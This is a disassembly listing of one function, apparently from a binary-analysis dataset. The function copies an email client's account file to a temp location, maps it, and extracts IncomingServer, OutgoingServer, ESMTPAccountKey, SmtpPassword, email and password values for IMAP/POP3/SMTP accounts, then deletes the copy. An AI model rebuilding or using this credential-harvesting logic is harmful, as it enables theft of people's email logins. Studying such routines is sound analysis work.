Function at 0x417ba2
Capabilities:
Copy file
Delete file
Get common file path
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x25a0
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x259c], ecx
mov ecx, edi
call fcn.00405670
test eax, eax
je 0x41807f
lea eax, [ebp - 0x257c]
mov ebx, 0x3e8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x257c]
push edx
push eax
push str._sfoxact__d
lea eax, [ebp - 0xe0c]
push ebx
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xe0c]
xor ebx, ebx
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x417c31
call esi
jmp 0x417c37
lea edi, [ebp - 0xe0c]
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x25a0], ebx
cmp ebx, 0xffffffff
jne 0x417c5e
call esi
jmp 0x41807f
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, eax
mov dword [ebp - 0x2594], edi
test edi, edi
jne 0x417c87
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41807f
xor eax, eax
push eax
push eax
push eax
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x2584], eax
test eax, eax
jne 0x417ca6
call esi
jmp 0x418073
and dword [ebp - 0x2588], 0
lea eax, [ebp - 0x2588]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp - 0x2588], 0
mov dword [ebp - 0x2590], eax
jne 0x418073
mov esi, str.IncomingServer
mov dword [ebp - 0x2580], eax
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x10], 0x616d4500
xor ecx, ecx
mov word [ebp - 0xc], 0x6c69
mov byte [ebp - 0xa], cl
mov edx, eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x258c], ecx
lea ecx, [ebp - 0x10]
push 7
push ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0x73615000
mov dword [ebp - 0x18], 0x726f7773
mov byte [ebp - 0x14], 0x64
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.OutgoingServer
lea edi, [ebp - 0x4c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.ESMTPAccountKey
lea edi, [ebp - 0x5c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.SmtpPassword
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x2584]
mov ecx, esi
call fcn.00417191
mov dword [ebp - 0x2598], eax
pop ecx
pop ecx
test eax, eax
je 0x41806d
mov eax, dword [ebp - 0x2580]
mov ebx, dword [ebp - 0x2598]
xor ecx, ecx
lea edi, [ebx + 0xa]
sub eax, ebx
mov byte [ebp - 0x11f4], cl
mov byte [ebp - 0x1dac], cl
mov byte [ebp - 0x15dc], cl
mov byte [ebp - 0x19c4], cl
mov byte [ebp - 0x444], cl
lea edx, [eax - 0xa]
mov byte [ebp - 0x2194], cl
add edx, esi
mov byte [ebp - 0xa24], cl
lea ecx, [ebp - 0x10]
push 7
push ecx
mov ecx, edi
call fcn.00417191
mov dword [ebp - 0x2580], eax
pop ecx
pop ecx
test eax, eax
jne 0x417dcb
mov eax, dword [ebp - 0x2590]
dec eax
mov dword [ebp - 0x258c], 1
add eax, esi
mov dword [ebp - 0x2580], eax
mov esi, eax
movzx eax, byte [edi]
push eax
lea eax, [edi + 4]
sub esi, ebx
push eax
lea eax, [ebp - 0x15dc]
sub esi, 0xa
push 0x3e8
push eax
call fcn.00650b7d
lea eax, [ebp - 0x3c]
push eax
call fcn.00643470
add esp, 0x14
mov edx, esi
mov ecx, edi
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00417191
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x417e37
lea eax, [ebp - 0x3c]
push eax
call fcn.00643470
pop ecx
lea ecx, [ebx + eax]
movzx eax, byte [ecx + 4]
push eax
lea eax, [ecx + 8]
push eax
lea eax, [ebp - 0xa24]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x1c]
mov edx, esi
push 9
push eax
mov ecx, edi
call fcn.00417191
pop ecx
pop ecx
test eax, eax
je 0x417e87
movzx edx, byte [eax + 0xd]
test dl, 1
lea ecx, [edx - 1]
cmove ecx, edx
add eax, 0x11
push ecx
push eax
lea eax, [ebp - 0x444]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x11f4]
push 1
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00417a67
lea eax, [ebp - 0x4c]
push eax
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x4c]
mov edx, esi
push eax
mov ecx, edi
call fcn.00417191
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x417ed1
lea eax, [ebp - 0x4c]
push eax
call fcn.00643470
pop ecx
lea ecx, [ebx + eax]
movzx eax, byte [ecx + 4]
push eax
lea eax, [ecx + 8]
push eax
lea eax, [ebp - 0x2194]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x5c]
push eax
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x5c]
mov edx, esi
push eax
mov ecx, edi
call fcn.00417191
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x417f1b
lea eax, [ebp - 0x5c]
push eax
call fcn.00643470
pop ecx
lea ecx, [ebx + eax]
movzx eax, byte [ecx + 4]
push eax
lea eax, [ecx + 8]
push eax
lea eax, [ebp - 0x1dac]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x2c]
push eax
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x2c]
mov edx, esi
push eax
mov ecx, edi
call fcn.00417191
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x417f83
lea eax, [ebp - 0x2c]
push eax
call fcn.00643470
pop ecx
lea edx, [esi + eax]
movzx ecx, byte [edx + 4]
test cl, 1
lea eax, [ecx - 1]
cmove eax, ecx
push eax
lea eax, [edx + 8]
push eax
lea eax, [ebp - 0x444]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x19c4]
push 1
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00417a67
lea eax, [ebp - 0xa24]
push str.imap
push eax
call fcn.00639500
test eax, eax
mov edx, str.IMAP
mov ecx, str.POP3
lea eax, [ebp - 0x63c]
cmovne ecx, edx
push ecx
push 0x1f4
push eax
call fcn.006494f3
mov ecx, dword [ebp - 0x259c]
lea eax, [ebp - 0x11f4]
add esp, 0x14
mov esi, 0x6c5bb9
mov edi, 0xff
push 0xffffffffffffffff
push esi
push eax
lea eax, [ebp - 0x15dc]
push eax
lea eax, [ebp - 0xa24]
push eax
lea eax, [ebp - 0x63c]
push eax
push edi
push 2
call fcn.0043ee6b
mov ecx, dword [ebp - 0x259c]
lea eax, [ebp - 0x19c4]
push 0xffffffffffffffff
push esi
push eax
lea eax, [ebp - 0x1dac]
push eax
lea eax, [ebp - 0x2194]
push eax
push str.SMTP
push edi
push 2
call fcn.0043ee6b
cmp dword [ebp - 0x258c], 0
jne 0x41803e
mov eax, dword [ebp - 0x2590]
mov ebx, dword [ebp - 0x2580]
sub eax, ebx
mov esi, dword [ebp - 0x2584]
add eax, esi
jmp 0x417d63
lea eax, [ebp - 0xe0c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x2584]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x2594]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ebx, dword [ebp - 0x25a0]
jmp 0x41807c
mov edi, dword [ebp - 0x2594]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push ebx
call esi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4